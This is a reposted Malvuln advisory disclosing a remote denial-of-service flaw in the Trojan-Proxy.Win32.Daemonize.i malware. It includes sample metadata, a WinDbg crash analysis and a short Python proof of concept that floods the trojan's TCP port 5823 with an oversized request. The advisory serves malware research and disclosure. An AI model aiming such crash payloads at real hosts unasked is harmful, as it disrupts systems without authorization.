Monday, February 22, 2021

Trojan-Proxy.Win32.Daemonize.i Denial Of Service

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/61bec9f22a5955e076e0d5ddf6232f3f.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan-Proxy.Win32.Daemonize.i
Vulnerability: Remote Denial of Service
Description: Daemonize.i listens on TCP port 5823, sending some junk packets to the trojan results in invalid pointer read leading to an access violation and crash.
Type: PE32
MD5: 61bec9f22a5955e076e0d5ddf6232f3f
Vuln ID: MVID-2021-0102
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 02/19/2021

Memory Dump:
(f0.1ba4): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=ffffffff edx=00000003 esi=00000003 edi=00000003
eip=7710ed3c esp=02a0f38c ebp=02a0f51c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400 ret 14h


0:001> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************


FAULTING_IP:
Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea
00402fea f2ae repne scas byte ptr es:[edi]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00402fea (Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+0x00002fea)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 00000003
Attempt to read from address 00000003

PROCESS_NAME: Trojan-Proxy.Win32.Daemonize.i.61bec9f22a5955e076e0d5ddf6232f3f.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: 00000003

READ_ADDRESS: 00000003

FOLLOWUP_IP:
Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea
00402fea f2ae repne scas byte ptr es:[edi]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 00001ba4

BUGCHECK_STR: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff

LAST_CONTROL_TRANSFER: from 76198654 to 00402fea

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
02a0ff80 76198654 02b70e50 76198630 6e5e2d5f Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+0x2fea
02a0ff94 77104a77 02b70e50 e89bd1a1 00000000 kernel32!BaseThreadInitThunk+0x24
02a0ffdc 77104a47 ffffffff 77129eca 00000000 ntdll!__RtlUserThreadStart+0x2f
02a0ffec 00000000 00401937 02b70e50 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND: ~1s; .ecxr ; kb

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f

IMAGE_NAME: Trojan-Proxy.Win32.Daemonize.i.61bec9f22a5955e076e0d5ddf6232f3f.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 3fdf5a56

FAILURE_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff_c0000005_Trojan-Proxy.Win32.Daemonize.i.61bec9f22a5955e076e0d5ddf6232f3f.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff_Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea

Followup: MachineOwner
---------

0:001> .ecxr
eax=00000000 ebx=00000000 ecx=ffffffff edx=00000003 esi=02b72538 edi=00000003
eip=00402fea esp=02a0fcc8 ebp=02a0ff80 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+0x2fea:
00402fea f2ae repne scas byte ptr es:[edi]


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=5823

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
P="GET /"+"A"*2000
s.send(P)
s.close()

print("Trojan-Proxy.Win32.Daemonize.i / Remote Denial of Service")
print("MD5: 61bec9f22a5955e076e0d5ddf6232f3f")
print("By Malvuln");

if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated